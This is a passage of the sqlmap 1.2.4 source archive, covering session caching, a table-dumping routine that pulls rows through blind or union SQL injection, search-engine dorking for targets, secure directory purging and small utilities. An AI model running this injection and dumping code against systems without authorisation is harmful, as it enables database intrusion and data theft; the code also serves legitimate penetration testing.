serialize=False): if key: hash_ = HashDB.hashKey(key) self._cache_lock.acquire() self._write_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) self._cache_lock.release() if getCurrentThreadName() in ('0', 'MainThread'): self.flush() def flush(self, forced=False): if not self._write_cache: return if not forced and len(self._write_cache) < HASHDB_FLUSH_THRESHOLD: return self._cache_lock.acquire() _ = self._write_cache self._write_cache = {} self._cache_lock.release() try: self.beginTransaction() for hash_, value in _.items(): retries = 0 while True: try: try: self.cursor.execute("INSERT INTO storage VALUES (?, ?)", (hash_, value,)) except sqlite3.IntegrityError: self.cursor.execute("UPDATE storage SET value=? WHERE id=?", (value, hash_,)) except sqlite3.DatabaseError, ex: if not os.path.exists(self.filepath): debugMsg = "session file '%s' does not exist" % self.filepath logger.debug(debugMsg) break if retries == 0: warnMsg = "there has been a problem while writing to " warnMsg += "the session file ('%s')" % getSafeExString(ex) logger.warn(warnMsg) if retries >= HASHDB_FLUSH_RETRIES: return else: retries += 1 time.sleep(1) else: break finally: self.endTransaction() def beginTransaction(self): threadData = getCurrentThreadData() if not threadData.inTransaction: try: self.cursor.execute("BEGIN TRANSACTION") except: # Reference: http://stackoverflow.com/a/25245731 self.cursor.close() threadData.hashDBCursor = None self.cursor.execute("BEGIN TRANSACTION") finally: threadData.inTransaction = True def endTransaction(self): threadData = getCurrentThreadData() if threadData.inTransaction: retries = 0 while retries < HASHDB_END_TRANSACTION_RETRIES: try: self.cursor.execute("END TRANSACTION") threadData.inTransaction = False except sqlite3.OperationalError: pass else: return retries += 1 time.sleep(1) try: self.cursor.execute("ROLLBACK TRANSACTION") except sqlite3.OperationalError: self.cursor.close() self.cursor = None finally: threadData.inTransaction = False ������������sqlmap-1.2.4/lib/utils/htmlentities.py��������������������������������������������������������������0000664�0000000�0000000�00000011240�13260122637�0020004�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ # Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html htmlEntities = { "quot": 34, "amp": 38, "lt": 60, "gt": 62, "nbsp": 160, "iexcl": 161, "cent": 162, "pound": 163, "curren": 164, "yen": 165, "brvbar": 166, "sect": 167, "uml": 168, "copy": 169, "ordf": 170, "laquo": 171, "not": 172, "shy": 173, "reg": 174, "macr": 175, "deg": 176, "plusmn": 177, "sup2": 178, "sup3": 179, "acute": 180, "micro": 181, "para": 182, "middot": 183, "cedil": 184, "sup1": 185, "ordm": 186, "raquo": 187, "frac14": 188, "frac12": 189, "frac34": 190, "iquest": 191, "Agrave": 192, "Aacute": 193, "Acirc": 194, "Atilde": 195, "Auml": 196, "Aring": 197, "AElig": 198, "Ccedil": 199, "Egrave": 200, "Eacute": 201, "Ecirc": 202, "Euml": 203, "Igrave": 204, "Iacute": 205, "Icirc": 206, "Iuml": 207, "ETH": 208, "Ntilde": 209, "Ograve": 210, "Oacute": 211, "Ocirc": 212, "Otilde": 213, "Ouml": 214, "times": 215, "Oslash": 216, "Ugrave": 217, "Uacute": 218, "Ucirc": 219, "Uuml": 220, "Yacute": 221, "THORN": 222, "szlig": 223, "agrave": 224, "aacute": 225, "acirc": 226, "atilde": 227, "auml": 228, "aring": 229, "aelig": 230, "ccedil": 231, "egrave": 232, "eacute": 233, "ecirc": 234, "euml": 235, "igrave": 236, "iacute": 237, "icirc": 238, "iuml": 239, "eth": 240, "ntilde": 241, "ograve": 242, "oacute": 243, "ocirc": 244, "otilde": 245, "ouml": 246, "divide": 247, "oslash": 248, "ugrave": 249, "uacute": 250, "ucirc": 251, "uuml": 252, "yacute": 253, "thorn": 254, "yuml": 255, "OElig": 338, "oelig": 339, "Scaron": 352, "fnof": 402, "scaron": 353, "Yuml": 376, "circ": 710, "tilde": 732, "Alpha": 913, "Beta": 914, "Gamma": 915, "Delta": 916, "Epsilon": 917, "Zeta": 918, "Eta": 919, "Theta": 920, "Iota": 921, "Kappa": 922, "Lambda": 923, "Mu": 924, "Nu": 925, "Xi": 926, "Omicron": 927, "Pi": 928, "Rho": 929, "Sigma": 931, "Tau": 932, "Upsilon": 933, "Phi": 934, "Chi": 935, "Psi": 936, "Omega": 937, "alpha": 945, "beta": 946, "gamma": 947, "delta": 948, "epsilon": 949, "zeta": 950, "eta": 951, "theta": 952, "iota": 953, "kappa": 954, "lambda": 955, "mu": 956, "nu": 957, "xi": 958, "omicron": 959, "pi": 960, "rho": 961, "sigmaf": 962, "sigma": 963, "tau": 964, "upsilon": 965, "phi": 966, "chi": 967, "psi": 968, "omega": 969, "thetasym": 977, "upsih": 978, "piv": 982, "bull": 8226, "hellip": 8230, "prime": 8242, "Prime": 8243, "oline": 8254, "frasl": 8260, "ensp": 8194, "emsp": 8195, "thinsp": 8201, "zwnj": 8204, "zwj": 8205, "lrm": 8206, "rlm": 8207, "ndash": 8211, "mdash": 8212, "lsquo": 8216, "rsquo": 8217, "sbquo": 8218, "ldquo": 8220, "rdquo": 8221, "bdquo": 8222, "dagger": 8224, "Dagger": 8225, "permil": 8240, "lsaquo": 8249, "rsaquo": 8250, "euro": 8364, "weierp": 8472, "image": 8465, "real": 8476, "trade": 8482, "alefsym": 8501, "larr": 8592, "uarr": 8593, "rarr": 8594, "darr": 8595, "harr": 8596, "crarr": 8629, "lArr": 8656, "uArr": 8657, "rArr": 8658, "dArr": 8659, "hArr": 8660, "forall": 8704, "part": 8706, "exist": 8707, "empty": 8709, "nabla": 8711, "isin": 8712, "notin": 8713, "ni": 8715, "prod": 8719, "sum": 8721, "minus": 8722, "lowast": 8727, "radic": 8730, "prop": 8733, "infin": 8734, "ang": 8736, "and": 8743, "or": 8744, "cap": 8745, "cup": 8746, "int": 8747, "there4": 8756, "sim": 8764, "cong": 8773, "asymp": 8776, "ne": 8800, "equiv": 8801, "le": 8804, "ge": 8805, "sub": 8834, "sup": 8835, "nsub": 8836, "sube": 8838, "supe": 8839, "oplus": 8853, "otimes": 8855, "perp": 8869, "sdot": 8901, "lceil": 8968, "rceil": 8969, "lfloor": 8970, "rfloor": 8971, "lang": 9001, "rang": 9002, "loz": 9674, "spades": 9824, "clubs": 9827, "hearts": 9829, "diams": 9830, } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/utils/pivotdumptable.py������������������������������������������������������������0000664�0000000�0000000�00000015512�13260122637�0020340�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from extra.safe2bin.safe2bin import safechardecode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import getUnicode from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException from lib.core.settings import MAX_INT from lib.core.settings import NULL from lib.core.unescaper import unescaper from lib.request import inject def pivotDumpTable(table, colList, count=None, blind=True): lengths = {} entries = {} dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind validColumnList = False validPivotValue = False if count is None: query = dumpNode.count % table query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT) if isinstance(count, basestring) and count.isdigit(): count = int(count) if count == 0: infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(table) logger.info(infoMsg) for column in colList: lengths[column] = len(column) entries[column] = [] return entries, lengths elif not isNumPosStrValue(count): return None for column in colList: lengths[column] = 0 entries[column] = BigArray() colList = filter(None, sorted(colList, key=lambda x: len(x) if x else MAX_INT)) if conf.pivotColumn: for _ in colList: if re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I): infoMsg = "using column '%s' as a pivot " % conf.pivotColumn infoMsg += "for retrieving row data" logger.info(infoMsg) colList.remove(_) colList.insert(0, _) validPivotValue = True break if not validPivotValue: warnMsg = "column '%s' not " % conf.pivotColumn warnMsg += "found in table '%s'" % table logger.warn(warnMsg) if not validPivotValue: for column in colList: infoMsg = "fetching number of distinct " infoMsg += "values for column '%s'" % column logger.info(infoMsg) query = dumpNode.count2 % (column, table) query = agent.whereQuery(query) value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(value): validColumnList = True if value == count: infoMsg = "using column '%s' as a pivot " % column infoMsg += "for retrieving row data" logger.info(infoMsg) validPivotValue = True colList.remove(column) colList.insert(0, column) break if not validColumnList: errMsg = "all column name(s) provided are non-existent" raise SqlmapNoneDataException(errMsg) if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" logger.warn(warnMsg) pivotValue = " " breakRetrieval = False def _(column, pivotValue): if column == colList[0]: query = dumpNode.query.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False)) else: query = dumpNode.query2.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False)) query = agent.whereQuery(query) return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind)) try: for i in xrange(count): if breakRetrieval: break for column in colList: value = _(column, pivotValue) if column == colList[0]: if isNoneValue(value): try: for pivotValue in filter(None, (" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, unichr(ord(pivotValue[0]) + 1))): value = _(column, pivotValue) if not isNoneValue(value): break except ValueError: pass if isNoneValue(value) or value == NULL: breakRetrieval = True break pivotValue = safechardecode(value) if conf.limitStart or conf.limitStop: if conf.limitStart and (i + 1) < conf.limitStart: warnMsg = "skipping first %d pivot " % conf.limitStart warnMsg += "point values" singleTimeWarnMessage(warnMsg) break elif conf.limitStop and (i + 1) > conf.limitStop: breakRetrieval = True break value = "" if isNoneValue(value) else unArrayizeValue(value) lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) except SqlmapConnectionException, e: errMsg = "connection exception detected. sqlmap " errMsg += "will display partial output" errMsg += "'%s'" % e logger.critical(errMsg) return entries, lengths ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/utils/progress.py������������������������������������������������������������������0000664�0000000�0000000�00000007030�13260122637�0017141�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import getUnicode from lib.core.common import dataToStdout from lib.core.data import conf from lib.core.data import kb class ProgressBar(object): """ This class defines methods to update and draw a progress bar """ def __init__(self, minValue=0, maxValue=10, totalWidth=None): self._progBar = "[]" self._oldProgBar = "" self._min = int(minValue) self._max = int(maxValue) self._span = max(self._max - self._min, 0.001) self._width = totalWidth if totalWidth else conf.progressWidth self._amount = 0 self._times = [] self.update() def _convertSeconds(self, value): seconds = value minutes = seconds / 60 seconds = seconds - (minutes * 60) return "%.2d:%.2d" % (minutes, seconds) def update(self, newAmount=0): """ This method updates the progress bar """ if newAmount < self._min: newAmount = self._min elif newAmount > self._max: newAmount = self._max self._amount = newAmount # Figure out the new percent done, round to an integer diffFromMin = float(self._amount - self._min) percentDone = (diffFromMin / float(self._span)) * 100.0 percentDone = round(percentDone) percentDone = min(100, int(percentDone)) # Figure out how many hash bars the percentage should be allFull = self._width - len("100%% [] %s/%s ETA 00:00" % (self._max, self._max)) numHashes = (percentDone / 100.0) * allFull numHashes = int(round(numHashes)) # Build a progress bar with an arrow of equal signs if numHashes == 0: self._progBar = "[>%s]" % (" " * (allFull - 1)) elif numHashes == allFull: self._progBar = "[%s]" % ("=" * allFull) else: self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), " " * (allFull - numHashes)) # Add the percentage at the beginning of the progress bar percentString = getUnicode(percentDone) + "%" self._progBar = "%s %s" % (percentString, self._progBar) def progress(self, deltaTime, newAmount): """ This method saves item delta time and shows updated progress bar with calculated eta """ if len(self._times) <= ((self._max * 3) / 100) or newAmount > self._max: eta = None else: midTime = sum(self._times) / len(self._times) midTimeWithLatest = (midTime + deltaTime) / 2 eta = midTimeWithLatest * (self._max - newAmount) self._times.append(deltaTime) self.update(newAmount) self.draw(eta) def draw(self, eta=None): """ This method draws the progress bar if it has changed """ if self._progBar != self._oldProgBar: self._oldProgBar = self._progBar dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" ETA %s" % self._convertSeconds(int(eta))) if eta is not None else "")) if self._amount >= self._max: if not conf.liveTest: dataToStdout("\r%s\r" % (" " * self._width)) kb.prependFlag = False else: dataToStdout("\n") def __str__(self): """ This method returns the progress bar string """ return getUnicode(self._progBar) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/utils/purge.py���������������������������������������������������������������������0000664�0000000�0000000�00000004701�13260122637�0016421�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import random import shutil import stat import string from lib.core.common import getSafeExString from lib.core.data import logger def purge(directory): """ Safely removes content from a given directory """ if not os.path.isdir(directory): warnMsg = "skipping purging of directory '%s' as it does not exist" % directory logger.warn(warnMsg) return infoMsg = "purging content of directory '%s'..." % directory logger.info(infoMsg) filepaths = [] dirpaths = [] for rootpath, directories, filenames in os.walk(directory): dirpaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in directories) filepaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in filenames) logger.debug("changing file attributes") for filepath in filepaths: try: os.chmod(filepath, stat.S_IREAD | stat.S_IWRITE) except: pass logger.debug("writing random data to files") for filepath in filepaths: try: filesize = os.path.getsize(filepath) with open(filepath, "w+b") as f: f.write("".join(chr(random.randint(0, 255)) for _ in xrange(filesize))) except: pass logger.debug("truncating files") for filepath in filepaths: try: with open(filepath, 'w') as f: pass except: pass logger.debug("renaming filenames to random values") for filepath in filepaths: try: os.rename(filepath, os.path.join(os.path.dirname(filepath), "".join(random.sample(string.ascii_letters, random.randint(4, 8))))) except: pass dirpaths.sort(cmp=lambda x, y: y.count(os.path.sep) - x.count(os.path.sep)) logger.debug("renaming directory names to random values") for dirpath in dirpaths: try: os.rename(dirpath, os.path.join(os.path.dirname(dirpath), "".join(random.sample(string.ascii_letters, random.randint(4, 8))))) except: pass logger.debug("deleting the whole directory tree") os.chdir(os.path.join(directory, "..")) try: shutil.rmtree(directory) except OSError, ex: logger.error("problem occurred while removing directory '%s' ('%s')" % (directory, getSafeExString(ex))) ���������������������������������������������������������������sqlmap-1.2.4/lib/utils/search.py��������������������������������������������������������������������0000664�0000000�0000000�00000015021�13260122637�0016541�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import httplib import re import socket import urllib import urllib2 from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import readInput from lib.core.common import urlencode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import BING_REGEX from lib.core.settings import DUMMY_SEARCH_USER_AGENT from lib.core.settings import DUCKDUCKGO_REGEX from lib.core.settings import GOOGLE_REGEX from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import UNICODE_ENCODING from lib.request.basic import decodePage from thirdparty.socks import socks def _search(dork): """ This method performs the effective search on Google providing the google dork and the Google session cookie """ if not dork: return None headers = {} headers[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT) headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE try: req = urllib2.Request("https://www.google.com/ncr", headers=headers) conn = urllib2.urlopen(req) except Exception, ex: errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex) raise SqlmapConnectionException(errMsg) gpage = conf.googlePage if conf.googlePage > 1 else 1 logger.info("using search result page #%d" % gpage) url = "https://www.google.com/search?" url += "q=%s&" % urlencode(dork, convall=True) url += "num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search" url += "&start=%d" % ((gpage - 1) * 100) try: req = urllib2.Request(url, headers=headers) conn = urllib2.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() code = conn.code status = conn.msg responseHeaders = conn.info() page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) responseMsg = "HTTP response (%s - %d):\n" % (status, code) if conf.verbose <= 4: responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) elif conf.verbose > 4: responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) except urllib2.HTTPError, e: try: page = e.read() except Exception, ex: warnMsg = "problem occurred while trying to get " warnMsg += "an error page information (%s)" % getSafeExString(ex) logger.critical(warnMsg) return None except (urllib2.URLError, httplib.error, socket.error, socket.timeout, socks.ProxyError): errMsg = "unable to connect to Google" raise SqlmapConnectionException(errMsg) retVal = [urllib.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)] if not retVal and "detected unusual traffic" in page: warnMsg = "Google has detected 'unusual' traffic from " warnMsg += "used IP address disabling further searches" if conf.proxyList: raise SqlmapBaseException(warnMsg) else: logger.critical(warnMsg) if not retVal: message = "no usable links found. What do you want to do?" message += "\n[1] (re)try with DuckDuckGo (default)" message += "\n[2] (re)try with Bing" message += "\n[3] quit" choice = readInput(message, default='1') if choice == '3': raise SqlmapUserQuitException elif choice == '2': url = "https://www.bing.com/search?q=%s&first=%d" % (urlencode(dork, convall=True), (gpage - 1) * 10 + 1) regex = BING_REGEX else: url = "https://duckduckgo.com/d.js?" url += "q=%s&p=%d&s=100" % (urlencode(dork, convall=True), gpage) regex = DUCKDUCKGO_REGEX try: req = urllib2.Request(url, headers=headers) conn = urllib2.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() code = conn.code status = conn.msg responseHeaders = conn.info() page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) responseMsg = "HTTP response (%s - %d):\n" % (status, code) if conf.verbose <= 4: responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) elif conf.verbose > 4: responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) except urllib2.HTTPError, e: try: page = e.read() except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % e.code logger.critical(warnMsg) return None except: errMsg = "unable to connect" raise SqlmapConnectionException(errMsg) retVal = [urllib.unquote(match.group(1)) for match in re.finditer(regex, page, re.I | re.S)] return retVal def search(dork): pushValue(kb.redirectChoice) kb.redirectChoice = REDIRECTION.YES try: return _search(dork) except SqlmapBaseException, ex: if conf.proxyList: logger.critical(getSafeExString(ex)) warnMsg = "changing proxy" logger.warn(warnMsg) conf.proxy = None setHTTPHandlers() return search(dork) else: raise finally: kb.redirectChoice = popValue() def setHTTPHandlers(): # Cross-referenced function raise NotImplementedError ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/utils/sqlalchemy.py����������������������������������������������������������������0000664�0000000�0000000�00000007640�13260122637�0017446�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import imp import logging import os import sys import traceback import warnings _sqlalchemy = None try: f, pathname, desc = imp.find_module("sqlalchemy", sys.path[1:]) _ = imp.load_module("sqlalchemy", f, pathname, desc) if hasattr(_, "dialects"): _sqlalchemy = _ warnings.simplefilter(action="ignore", category=_sqlalchemy.exc.SAWarning) except ImportError: pass try: import MySQLdb # used by SQLAlchemy in case of MySQL warnings.filterwarnings("error", category=MySQLdb.Warning) except ImportError: pass from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapFilePathException from plugins.generic.connector import Connector as GenericConnector class SQLAlchemy(GenericConnector): def __init__(self, dialect=None): GenericConnector.__init__(self) self.dialect = dialect def connect(self): if _sqlalchemy: self.initConnection() try: if not self.port and self.db: if not os.path.exists(self.db): raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db) _ = conf.direct.split("//", 1) conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db)) if self.dialect: conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1) if self.dialect == "sqlite": engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False}) elif self.dialect == "oracle": engine = _sqlalchemy.create_engine(conf.direct, connect_args={"allow_twophase": False}) else: engine = _sqlalchemy.create_engine(conf.direct, connect_args={}) self.connector = engine.connect() except (TypeError, ValueError): if "_get_server_version_info" in traceback.format_exc(): try: import pymssql if int(pymssql.__version__[0]) < 2: raise SqlmapConnectionException("SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)" % pymssql.__version__) except ImportError: pass elif "invalid literal for int() with base 10: '0b" in traceback.format_exc(): raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')") raise except SqlmapFilePathException: raise except Exception, msg: raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % msg[0]) self.printConnected() def fetchall(self): try: retVal = [] for row in self.cursor.fetchall(): retVal.append(tuple(row)) return retVal except _sqlalchemy.exc.ProgrammingError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg.message if hasattr(msg, "message") else msg) return None def execute(self, query): try: self.cursor = self.connector.execute(query) except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg.message if hasattr(msg, "message") else msg) except _sqlalchemy.exc.InternalError, msg: raise SqlmapConnectionException(msg[1]) def select(self, query): self.execute(query) return self.fetchall() ������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/utils/timeout.py�������������������������������������������������������������������0000664�0000000�0000000�00000002101�13260122637�0016755�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import threading from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import TIMEOUT_STATE def timeout(func, args=(), kwargs={}, duration=1, default=None): class InterruptableThread(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.result = None self.timeout_state = None def run(self): try: self.result = func(*args, **kwargs) self.timeout_state = TIMEOUT_STATE.NORMAL except Exception, msg: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, msg) self.result = default self.timeout_state = TIMEOUT_STATE.EXCEPTION thread = InterruptableThread() thread.start() thread.join(duration) if thread.isAlive(): return default, TIMEOUT_STATE.TIMEOUT else: return thread.result, thread.timeout_state ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/utils/versioncheck.py��������������������������������������������������������������0000664�0000000�0000000�00000001467�13260122637�0017770�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import sys PYVERSION = sys.version.split()[0] if PYVERSION >= "3" or PYVERSION < "2.6": exit("[CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % PYVERSION) extensions = ("bz2", "gzip", "ssl", "sqlite3", "zlib") try: for _ in extensions: __import__(_) except ImportError: errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions)) errMsg += "most likely because current version of Python has been " errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')" exit(errMsg) ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/utils/xrange.py��������������������������������������������������������������������0000664�0000000�0000000�00000005105�13260122637�0016562�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ class xrange(object): """ Advanced (re)implementation of xrange (supports slice/copy/etc.) Reference: http://code.activestate.com/recipes/521885-a-pythonic-implementation-of-xrange/ >>> foobar = xrange(1, 10) >>> 7 in foobar True >>> 11 in foobar False >>> foobar[0] 1 """ __slots__ = ['_slice'] def __init__(self, *args): if args and isinstance(args[0], type(self)): self._slice = slice(args[0].start, args[0].stop, args[0].step) else: self._slice = slice(*args) if self._slice.stop is None: raise TypeError("xrange stop must not be None") @property def start(self): if self._slice.start is not None: return self._slice.start return 0 @property def stop(self): return self._slice.stop @property def step(self): if self._slice.step is not None: return self._slice.step return 1 def __hash__(self): return hash(self._slice) def __cmp__(self, other): return (cmp(type(self), type(other)) or cmp(self._slice, other._slice)) def __repr__(self): return '%s(%r, %r, %r)' % (type(self).__name__, self.start, self.stop, self.step) def __len__(self): return self._len() def _len(self): return max(0, int((self.stop - self.start) / self.step)) def __contains__(self, value): return (self.start <= value < self.stop) and (value - self.start) % self.step == 0 def __getitem__(self, index): if isinstance(index, slice): start, stop, step = index.indices(self._len()) return xrange(self._index(start), self._index(stop), step * self.step) elif isinstance(index, (int, long)): if index < 0: fixed_index = index + self._len() else: fixed_index = index if not 0 <= fixed_index < self._len(): raise IndexError("Index %d out of %r" % (index, self)) return self._index(fixed_index) else: raise TypeError("xrange indices must be slices or integers") def _index(self, i): return self.start + self.step * i def index(self, i): if self.start <= i < self.stop: return i - self.start else: raise ValueError("%d is not in list" % i) �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/�������������������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0014476�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/__init__.py��������������������������������������������������������������������0000664�0000000�0000000�00000000222�13260122637�0016603�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/��������������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0015423�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/__init__.py���������������������������������������������������������������0000664�0000000�0000000�00000000222�13260122637�0017530�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root������������������������